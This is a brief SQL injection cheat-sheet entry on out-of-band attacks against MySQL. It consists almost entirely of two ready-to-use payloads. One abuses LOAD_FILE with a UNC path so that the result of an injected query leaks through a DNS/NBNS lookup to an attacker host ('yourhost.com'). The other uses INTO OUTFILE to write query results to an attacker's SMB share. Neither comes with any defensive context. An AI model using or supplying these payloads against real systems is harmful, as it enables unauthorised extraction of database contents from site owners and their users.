Hacking - SQL Injection - MySQL - Out of Band Channel Attacks

Makes a NBNS query request/DNS resolution request to yourhost.com:

?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat('\\\\',({INJECTION}), 'yourhost.com\\')))

Writes data to your shared folder/file:

?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE '\\\\yourhost.com\\share\\output.txt')

• {INJECTION} = You want to run the query.